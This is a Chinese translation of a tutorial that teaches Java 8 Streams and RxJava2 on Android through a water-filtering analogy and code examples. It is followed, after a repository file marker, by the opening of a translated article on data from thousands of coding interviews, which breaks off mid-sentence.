Stream。对于这样想的同志,我来解释一下。主要有两个原因。首先,我知道几年后 Java8 将成为 Android 开发的一等公民。所以你应该了解关于 Stream 的 API,并且在面试中你可能被问到。而且,Java8 的 Stream 和 Rx Observable 在概念上很像。所以,为什么不一次性把这两个东西一起学了呢?其次,我感觉很多像我一样能力低下、懒惰并且不容易掌握概念的同志也可以在几分钟内了解这个概念。再次强调,我向你们 100% 地保证。通过学习 Java8 的 Stream 可以让你很快地学会 Rx。好,我们开始了。 Stream: 支持在元素形成的流上进行函数式操作(比如在集合上进行的 map-reduce 变换)的类(*docs.oracle*)。 第一个问题:在英语中 Stream 是什么意思? 答案:一条很窄的小河,或者源源不断流动的液体、空气、气体。在编程的时候把数据转化成“流”的形式,比如我有一个字符串,但是我想把它变成“流”来使用的话我需要干些什么,我需要创建一个机制,使这个字符串满足“源源不断流动的液体、空气、气体 {**或者数据**}”的定义。问题是,我们为什么想要自己的数据变成“流”呢,下面是个简单的例子。 就像下面这幅图中画的那样,我有一杯混合着大大小小石子的蓝色的水。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg) 现在按照我们关于“流”的定义,我用下图中的方法将水转化成“流”。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg) 为了让水变成水流,我把水从一个杯子倒进另一个杯子 里。现在我想去掉水中的大石子,所以我造了一个可以帮我滤掉大石子的过滤器。“大石子过滤器”如下图所示。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg) 现在,将这个过滤器作用在水流上,这会得到不包含大石子的水。如下图所示。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg) 哈哈哈。 接下来,我想从水中清除掉所有石子。已经有一个过滤大石子的过滤器了,我们需要造一个新的来过滤小石子。“小石子过滤器”如下图所示。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg) 像下图这样,将两个过滤器同时作用于水流上。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png) 哇哦~ 我已经感觉到你们领悟了我说的在编程中使用流所带来的好处是什么了。接下来,我想把水的颜色从蓝色变成黑色。为了达到这个目的,我需要造一个像下图这样的“水颜色转换器(mapper)”。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg) 像下图这样使用这个转换器。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg) 把水转换成水流后,我们做了很多事情。我先用一个过滤器去掉了大石子,然后用另一个过滤器去掉了小石子, 最后用一个转换器(map)把水的颜色从蓝色变成黑色。 当我将数据转换成流时,我将在编程中得到同样的好处。现在,我将把这个例子转换成代码。我要显示的代码是真正的代码。可能示例代码不能工作,但我将要使用的操作符和 API 是真实的,我们将在后面的实例中使用。所以,同志们不要把关注点放在编译上。通过这个例子,我有一种感觉,我们将很容易地把握这些概念。在这个例子中,重要的一点是,我使用 Java8 的 Stream API 而不是 Rx API。我不想让事情变困难,但稍后我也会使用 Rx。 图像中的水 & 代码中的水: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg) ``` public static void main(String [] args){ Water water = new Water("water",10, "big stone", 1 , "small stone", 3); // 含有一个大石子和三个小石子的十升水 for (String s : water) { System.out.println(s); } } ``` 输出: water water big stone water water small stone water small stone small stone water water water water water 图像中的水流 & 代码中的水流: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg) ``` public static void main(String[] args) { Water water = new Water("water", 10, "big stone", 1, "small stone", 3); // 10 litre water with 1 big and 3 small stones. water.stream(); } //输出和上面那个一样 ``` 图像中的“大石子过滤器” & 代码中的“大石子过滤器”: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg) 同志们这里需要注意下! 在 Java8 Stream 中有个叫做 Predicate(谓词,可以判断真假,详情见离散数学中的相关定义——译注)的函数式接口。所以,如果我想进行过滤的话,可以用这个函数式接口实现流的过滤功能。现在,我给大家展示在我们的代码中如何创建“大石子过滤器”。 ``` private static Predicate BigStoneFilter = new Predicate() { @Override public boolean test(String s) { return !s.equals("big stone"); } }; ``` 正如我们在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 所学到的,任何函数式接口都可以转换成 Lambda 表达式。把上面的代码转换成 Lambda 表达式: ``` private static Predicate BigStoneFilter = s -> !s.equals("big stone"); ``` 图像和代码中的作用在水流上的“大石子过滤器”: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg) ``` public static void main(String[] args) { Water water = new Water("water", 10, "big stone", 1, "small stone", 3); water.stream().filter(BigStoneFilter) .forEach(s-> System.out.println(s)); } private static Predicate BigStoneFilter = s -> !s.equals("big stone"); ``` 这里我使用了 forEach 方法,暂时把这当作流上的 for 循环。用在这里仅仅是为了输出。除去没有这个方法,我们也已经实现了我们在图像中表示的内容。是时候看看输出了: water water water water small stone water small stone small stone water water water water water 没有大石子了,这意味着我们成功过滤了水。 图像中的“小石子过滤器” & 代码中的“小石子过滤器”: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg) ``` private static Predicate SmallStoneFilter = s -> !s.equals("small stone"); ``` 在图像和代码中使用“小石子过滤器”: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png) ``` public static void main(String[] args) { Water water = new Water("water", 10, "big stone", 1, "small stone", 3); water.stream() .filter(BigStoneFilter) .filter(SmallStoneFilter) .forEach(s-> System.out.println(s)); } private static Predicate BigStoneFilter = s -> !s.equals("big stone"); private static Predicate SmallStoneFilter = s -> !s.equals("small stone"); ``` 我不打算解释 **SmallStoneFilter**,它的实现和 **BigStoneFilter** 是一样一样的。这里我只展示输出。 water water water water water water water water water water 图像中的“水颜色转换器” 和 代码中的“水颜色转换器” [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg) 同志们这里需要注意! 在 Java8 Stream 中有个叫做 Function 的函数式接口。所以,当我想进行转换的时候,需要把这个函数式接口送到流的转换(map)函数里面。现在,我给大家展示在我们的代码中如何创建“水颜色转换器”。 ``` private static Function convertWaterColour = new Function() { @Override public String apply(String s) { return s+" black"; } }; ``` 这是一个函数式接口,所以我可以把它转换为 Lambda : ``` private static Function convertWaterColour = s -> s+" black"; ``` 简单来说,泛型中的第一个 String 代表我从水中得到什么,第二个 String 表示我会返回什么。 为了更好地掰扯清楚,我写了个把 Integer 转化成 String 的转换器。 ``` private static Function convertIntegerIntoString = i -> i+" "; ``` 回到我们原来的例子。 为水流添加颜色转换器的图像和代码: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg) ``` public static void main(String[] args) { Water water = new Water("water", 10, "big stone", 1, "small stone", 3); water.stream() .filter(BigStoneFilter) .filter(SmallStoneFilter) .map(convertWaterColour) .forEach(s -> System.out.println(s)); } private static Predicate BigStoneFilter = s -> !s.equals("big stone"); private static Predicate SmallStoneFilter = s -> !s.equals("small stone"); private static Function convertWaterColour = s -> s + " black"; ``` 输出: water black water black water black water black water black water black water black water black water black water black 完活!现在我们再次回顾一些内容。 filter(过滤器): Stream 有一个只接受 Predicate 这个函数式接口的方法。我们可以在 Predicate 里写作用在数据上的逻辑代码。 map(映射):Stream 有一个只接受 Function 这个函数式接口的方法。我们可以在 Function 里写按照我们的要求转换数据的逻辑代码。 在进入下个环节之前,我想解释一个曾经困惑我很久的东西。当我们在任意数据上使用 stream() 的时候,背后是怎样工作的。所以我要举一个例子。我有一个整数列表。我想在控制台上显示它们。 ``` public static void main(String [] args){ List list = new ArrayList<>(); list.add(1); list.add(2); list.add(3); list.add(4); } ``` 使用命令式编程来打印数据: ``` public static void main(String [] args){ List list = new ArrayList<>(); list.add(1); list.add(2); list.add(3); list.add(4); for (Integer integer : list) { System.out.println(integer); } } ``` 使用 Stream 或 Rx 的方式来打印数据: ``` public static void main(String [] args){ List list = new ArrayList<>(); list.add(1); list.add(2); list.add(3); list.add(4); list.stream().forEach(integer -> System.out.println(integer)); } ``` 对于以上两段代码,它们的不同点在哪呢? 简单来说,在第一段代码中我自己管理 for 循环: ``` for (Integer integer : list) { System.out.println(integer); } ``` 但是在第二段代码中,流(或者稍后后要展示的 Rx 中的 Observable)进行循环: ``` list.stream().forEach(integer -> System.out.println(integer)); ``` 我认为很多事情都说清楚了,是时候用 Rx 来写个真实的例子了。在这个例子中,我会同时使用流式编码(stream code)和响应式编码(Rx code),这样大家可以更容易地掌握这俩的概念。 **2. Java8 Stream to Rx Observable:** 有一个存有 “Hello World” 的列表。 在图片中,把它视作字符串。在代码中把它看作列表,这样比较好解释。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9-300x258.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9.jpg) Java8 的 Stream 代码: ``` public static void main(String [] args){ List list = new ArrayList<>(); list.add("H"); list.add("e"); list.add("l"); list.add("l"); list.add("o"); list.add(" "); list.add("W"); list.add("o"); list.add("r"); list.add("l"); list.add("d"); list.stream(); // Java8 } ``` Android 中的代码: ``` public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); List list = new ArrayList<>(); list.add("H"); list.add("e"); list.add("l"); list.add("l"); list.add("o"); list.add(" "); list.add("W"); list.add("o"); list.add("r"); list.add("l"); list.add("d"); Observable.fromIterable(list); } } ``` 在这里展示了 Java8 代码和 Android 代码。从现在开始,我只给出代码中的响应式(Reactive)部分而不给出完整的一个类。完整代码分享在文章的最后了。上面的代码将变成这样: Again above example: ``` list.stream(); // Java8 Observable.fromIterable(list); // Android ``` 这两者会有相同的结果,这样来输出整个列表: ``` list.stream() .forEach(s-> System.out.print(s)); // Java8 Observable.fromIterable(list) .forEach(s-> Log.i("Android",s)); // Android Java8 的输出: Hello World Android 的输出: 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: H 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: e 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: o 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: W 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: o 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: r 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: d ``` 是时候来比较下这俩了。 ``` list.stream().forEach(s-> System.out.print(s)); // Java8 Observable.fromIterable(list).forEach(s-> Log.i("Android",s)); // Android ``` 在 Java8 中我想要一个东西变成流的形式,我会用 Stream 的 API,但是在 Android 里,我先把那个东西转换成 Observable 然后获取到数据流。 接下来,我们将用 ’l‘ 作为过滤器来处理 Hello World,就像下面这样: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10-300x263.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10.jpg)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11-300x282.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11.jpg)In code: ``` list.stream() .filter(s -> !s.equals("l")) .forEach(s-> System.out.print(s)); //Java8 Observable.fromIterable(list) .filter(s->!s.equals("l")) .forEach(s-> Log.i("Android",s)); // Android 输出 in Java8: Heo Word 输出 In Android: 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: H 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: e 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: o 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: W 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: o 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: r 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: d ``` 好。是时候对 Java8 的 Stream API 说再见了。 **3. RxJava2 的 Android 示例:** 有一个整数数组,我想让数组中的每个成员变成自身的平方。 如图所示: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12-288x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12.png) [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_13-300x275.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_13.jpeg) [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14-300x296.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14.jpg) Android 代码: ``` @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Integer[] data = {1,2,3,4}; Observable.fromArray(data) .map(value->value*value) .forEach(value-> Log.i("Android",value+"")); } ``` 输出: 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 1 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 4 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 9 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 16 ``` .map(value->value*value) ``` 这波很稳,我们之前已经用到过相同的概念了。把一个函数式接口传进 map,这个函数简单地将输入的数平方后返回。 ``` .forEach(value-> Log.i("Android",value+"")); ``` 稍有常识的人都知道,我们只能在 log 中打印字符串。在上面的代码中,我在整数值的后面添加 ``+""`` 来把他们转换成字符串。 哇哦!我们可以在这个例子中再用一次 map。你们都知道我需要把整数转换成字符串以便打印到 Logcat,但是我现在打算为 map 再写一个函数式接口来完成转换。这意味着我们不需要在数据后面添加 ``+""``了,如下所示: ``` Observable.fromArray(data) .map(value->value*value) .map(value-> Integer.toString(value)) .forEach(string-> Log.i("Android",string)); ``` **4. 如何把命令式代码转化成 RxJava2 Android 代码:** 这里我打算使用一段现实存在于某 APP 的代码,我将使用 Rx Observable 把它转化成响应式(Reactive)代码。这样你很容易就知道怎样开始在自己的项目中使用 Rx 了。重要的东西可能不是很容易理解,但你应该开始动手,这样才会感觉良好。所以,像我在示例代码中提到的那样去使用它们,我会在下一篇文章中详细解释。尝试多去练练手。 示例: 我在一个项目中使用了 [OnBoarding](https://www.google.com/search?q=onboarding+ui&) 界面,根据 UI 设计需要在每个 OnBoarding 界面上显示点点,如下图所示: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg) 如果你观察得很仔细的话,可以看到我需要将选定的界面对应的点设置成黑色。 命令式编程的代码: ``` private void setDots(int position) { for (int i = 0; i < mCircleImageViews.length; i++) { if (i == position) mCircleImageViews[i].setImageResource(R.drawable.white_circle_solid_on_boarding); else mCircleImageViews[i].setImageResource(R.drawable.white_circle_outline_on_boarding); } } ``` 响应式代码(Rx)的代码: ``` public void setDots(int position) { Observable.fromIterable(circleImageViews) .subscribe(imageView -> imageView.setImageResource(R.drawable.white_circle_outline_on_boarding)); circleImageViews.get(position) .setImageResource(R.drawable.white_circle_solid_on_boarding); } ``` 在 setDots 函数中,我简单地遍历每个 ImageView 并且把它们设置成白色的空心圈,之后将选定的 ImageView 重新设定为实心圈。 或者, ``` public void setDots(int position) { Observable.range(0, circleImageViews.size()) .filter(i->i!=position) .subscribe(i->circleImageViews.get(i).setImageResource(R.drawable.white_circle_outline_on_boarding))); circleImageViews.get(position) .setImageResource(R.drawable.white_circle_solid_on_boarding); } ``` 在这个 setDots 函数中,我把除选定的 ImageView 之外的所有 ImageView 设置为白色空心圈。 之后,将选中的 ImageView 设置为实心圈。 **4. 几个关于把命令式代码转换成响应式代码的技巧:** 为了让大家可以在现有的代码上轻松开始使用 Rx,我写了几个小技巧。 1. 如果代码中有循环的话,用 Observable 替换 ``` for (int i = 0; i < 10; i++) { } ==> Observable.range(0,10); ``` 2. 如果代码中有 if 语句的话,用 Rx 中的 filter 替换 ``` for (int i = 0; i < 10; i++) { if(i%2==0){ Log.i("Android", "Even"); } } ==> Observable.range(0,10) .filter(i->i%2==0) .subscribe(value->Log.i("Android","Event :"+value)); ``` 3. 如果需要把一些数据转换为另一种格式,可以用 map 实现 ``` public class User { String username; boolean status; public User(String username, boolean status) { this.username = username; this.status = status; } } List users = new ArrayList<>(); users.add(new User("A",false)); users.add(new User("B",true)); users.add(new User("C",true)); users.add(new User("D",false)); users.add(new User("E",false)); for (User user : users) { if(user.status){ user.username = user.username+ "Online"; }else { user.username = user.username+ "Offline"; } } ``` 在 Rx 中,有很多方法实现上述代码。 使用两个流: ``` Observable.fromIterable(users) .filter(user -> user.status) .map(user -> user.username + " Online") .subscribe(user -> Log.i("Android", user.toString())); Observable.fromIterable(users) .filter(user -> !user.status) .map(user -> user.username + " Offline") .subscribe(user -> Log.i("Android", user.toString())); ``` 在 map 中使用 if else : ``` Observable.fromIterable(users) .map(user -> { if (user.status) { user.username = user.username + " Online"; } else { user.username = user.username + " Offline"; } return user; }) .subscribe(user -> Log.i("Android", user.toString())); ``` 4. 如果代码中有嵌套的循环: ``` for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) { System.out.print("j "); } System.out.println("i"); } ==> Observable.range(0, 10) .doAfterNext(i-> System.out.println("i")) .flatMap(integer -> Observable.range(0, 10)) .doOnNext(i -> System.out.print("j ")) .subscribe(); ``` 这里用到了 flatmap 这个新的操作符。先仅仅尝试像示例代码中那样使用,我会在下篇文章中解释。 **总结:** 同志们干得好!今天我们学 Rx Android 学得很开心。我们从图画开始,然后使用了 Java8 的流(Stream)。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后,我们看到了实际项目中的示例并且展示了在现有的项目中如何开始使用 Rx。最后,我展示了一些转换到 Rx 的技巧:把循环用 forEach 替换,把 if 换成 filter,用 map 进行数据转化,用 flatmap 代替嵌套的循环。下篇文章: [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/). 希望你们开心,同志们再见! 代码: 1. [Water Stream Example(示例:水流) ](https://gist.github.com/Hafiz-Waleed-Hussain/c4d17174af9881c57f0e1ce676fede2d) 2. [HelloWorldStream using Java8 Stream API(示例:Java8 Stream 初体验) ](https://gist.github.com/Hafiz-Waleed-Hussain/9f55be929eb0f5e1956e75ac41876a3b) 3. [HelloWorldStream using Rx Java2 Android(示例:RxJava2 Android 初体验)](https://gist.github.com/Hafiz-Waleed-Hussain/509a32acad909ac1e90b2f83fb4dde5a) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle ](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb) 4. [ArrayOfIntegers using Rx Java2 Android(示例:用 RxJava2 Android 操作整数数组)](https://gist.github.com/Hafiz-Waleed-Hussain/a3acd794e4942f296531018bdcad2a23) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb) 对于其他所有示例,您可以使用文章中的片段。 ================================================ FILE: TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md ================================================ > * 原文地址:[We analyzed thousands of coding interviews. Here’s what we learned](https://medium.freecodecamp.org/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned-99384b1fda50) > * 原文作者:[Aline Lerner](https://medium.freecodecamp.org/@alinelernerllc) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md](https://github.com/xitu/gold-miner/blob/master/TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md) > * 译者:[tanglie1993](https://github.com/tanglie1993) > * 校对者:[zhangqippp](https://github.com/zhangqippp)、[yzgyyang](https://github.com/yzgyyang) # 我们对数千个编程面试的分析结果 --- ![](https://cdn-images-1.medium.com/max/2000/1*nJCm0Uc5BOq12faK2KR4Dw.jpeg) **注意:我写了这个帖子中的绝大部分内容,但传说中的 [Dave Holtz](https://twitter.com/daveholtz) 完成了数据处理的主要工作。我们可以在 [他的博客](http://daveholtz.net/) 中看到他的其它成果。** 如果你正在读这个帖子,很有可能,你正打算重新进入疯狂而可怕的技术面试的世界。 也许你是一个在读或刚毕业的学生,即将首次经历面试的流程。也许你是一个有经验的软件工程师,已经有几年没考虑过参加面试了。 无论哪种情况,面试流程的第一步,通常是读一堆在线面试指南(特别是由你感兴趣的公司写的那些),并和朋友们聊起他们面试(作为面试官和面试者)的经验。 更有可能,你在面试流程的“探索性”的第一步中学到的知识,将会告诉你如何准备、如何前往下一步。 这个典型的面试准备流程有一些问题: - 绝大多数面试指南是从一个公司的角度写的。可能 A 公司很重视高效的代码,而 B 公司更重视的是高级的问题解决能力。除非你一心想去 A 公司,否则你大概不想太侧重于他们所关心的能力。 - 人们有时会撒谎,虽然可能不是故意的。他们可能会写“我们不关心具体的编程语言”,或是“哪怕答案不正确,解释你的思路也是值得的”。但是,实际上他们未必会这样做!我们并不是说科技公司是故意误导求职者的骗子。我们只是认为:有时候不明显的偏见会偷偷产生,人们甚至没有意识到它。 - 你从朋友或认识的人那里听到的传闻并不一定有事实根据。很多人认为短的面试意味着失败。同样,每个人都可以回忆起一个很长的面试,在这面试结束后他们以为:“我成功打动了面试官,我肯定可以进入下个阶段”。过去, [我们发现人们衡量自己面试表现的能力相当差](http://blog.interviewing.io/people-are-still-bad-at-gauging-their-own-interview-performance-heres-the-data/)。现在,我们打算直接观察诸如面试时长之类的指标,看看它们是否真的重要。 在我的公司 [interviewing.io](http://interviewing.io) 中,我们用独特的数据驱动方式去分析技术面试及其结果。我们有一个平台,可以让面试者匿名练习技术面试。如果事情顺利,他们可以解锁匿名参加真实面试的功能。他们可以在任何时间参加 Uber、Lyft 和 Twitch等顶级公司的面试。 有意思的是,练习面试和真实面试都发生在 interviewing.io 生态系统内。结果,我们可以收集到相当多的面试数据,用来分析并帮助我们更好地理解技术面试:它们传递的信号,什么有用,什么没有用,以及面试的哪些方面可能真的影响结果。 每一个面试,无论是真实的还是用于练习的,开始时都有面试官和面试者,他们在一个合作式的编程环境中,有语音、文字聊天,以及一块白板。他们可以直接开始讨论技术问题。 面试问题通常属于后端开发电话面试中常见的问题。 **在这些面试中,我们收集发生的一切。包括音频、面试者写的代码的数据和元数据,面试官和面试者对面试过程和对方的评价。** 如果你好奇,你可以在下方看到面试者和面试官的反馈表格的样子 —— 除了一个直接的是/否问题以外,我们还问了不同方面的面试表现(使用 1-4 分的评分表)。 我们还问了面试者一些额外的问题,这部分问题面试官是不知道的。其中一个问题是,面试者以前有没有见过刚才的面试问题。 ![](https://cdn-images-1.medium.com/max/1600/1*WG4CovbdT88jxPEqXZBuiQ.png) 面试官反馈表格 ![](https://cdn-images-1.medium.com/max/1600/1*FRfeOXn8visxr36sKprDNw.png) 面试者反馈表格 ### 结果 在深入探究之前,需要注意:这些结论都是基于观察数据的,这意味着我们不能声称其中有很强的因果关系。但我们仍然可以分享观察到的奇特规律,并且解释我们发现了什么,以便让你做出自己的结论。 #### 以前见过面试问题 > **“我们正在讨论的是练习!”** —— 阿伦·艾弗森 从首要的东西开始。不算很聪明的人就能发现,最好的提升面试表现的方法之一是……练习面试。现在有大量的资源帮助你练习,包括我们自己的。做练习题的主要好处之一是:你被问到没见过的问题的概率会降低。如果你已经做过一两次的话,平衡一棵二叉树就显得不那么可怕了。 我们观察了3000个左右的面试,并把面试者见过与没有见过面试问题的结果相比较。你可以在下面的图中看到结果。 ![](https://cdn-images-1.medium.com/max/1600/1*0ha_0_L7WbspbayJet6N1g.png) **不出意料,见过题目的面试者通过的概率比没有见过的多16.6%。** 这个差异是统计显著的——所有的误差条都表示95%置信区间。 #### 用什么语言编程重要吗? > **“不爱自己母语的人比野兽和臭鱼更加低等。”** — Jose Rizal 你可能认为,使用不同的语言会使面试得到更好的结果。比如,Python 的可读性会对面试有帮助。或者,有些语言处理数据结构的方式特别干净,会让常见的面试问题变得简单。我们想看看,使用不同的语言是否会对面试结果产生显著影响。 我们把自己平台上的面试按照语言分组,并过滤掉了面试数量小于 5 个的语言(这只删去了少量的几个面试)。然后,我们就可以看到面试结果随语言变化的函数。 分析结果在下表中显示。任何不重叠的置信区间都表示使用不同语言的面试者通过面试的统计学差异。 虽然我们没有把所有语言逐对比较,但是下面的数据显示,总的来说,**不同语言的面试通过率没有显著的差异。**(我们的平台上还有其它的语言,但语言越没名气,我们的数据点就越少。例如,所有用 [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck) 的面试都很成功。开个玩笑。) ![](https://cdn-images-1.medium.com/max/2000/1*S1-Aj4ZEKgyuihnFftCD6w.png) 我们观察到的最常见的错误之一是:人们选择自己并不熟悉的语言,然后弄错了查看数组长度、遍历数组、创建哈希表之类的基本操作。但这只是我们定性的结论,没有统计数据支持。 当面试者故意选择一种时髦的语言,以试图打动面试官的时候,这种错误对他非常不利。相信我们,选择自己熟悉的语言,比时髦但不熟悉的语言更好。每一次都是这样。 #### 哪怕语言并不重要……使用该公司选用的语言是否有优势? > **“救命,我已经变成本地人了。”** — Margaret Blaine 总的来说,语言和面试表现并没有特别紧密的关系。这很好。但是对方公司使用的语言可能会影响面试结果。一个使用 Ruby 的公司可能会说:“我们只雇佣 Ruby 程序员,如果你使用 Python 我们就不太可能雇你。” 而在另一方面,一个完全使用 Python 的公司会对使用 Python 的面试者更苛刻——他们完全了解这种语言,可能会因为面试者对 Python 的使用不完全地道而对他有意见。 下面的表和使用不同语言的面试成功率(也是用面试官愿意雇用面试者的概率来表示)的表很相似。但是,这个表是用面试语言是否在公司的技术栈内来分类的。 我们把这个分析限制在 C++, Java 和 Python ,因为这三种语言都有很多公司用和不用它们。**结果并不一致。对于 Python 和 C++而言,面试者使用的语言是否在公司的技术栈内,并不会对成功率产生显著的影响。但是,使用 Java 的面试者在使用 Java 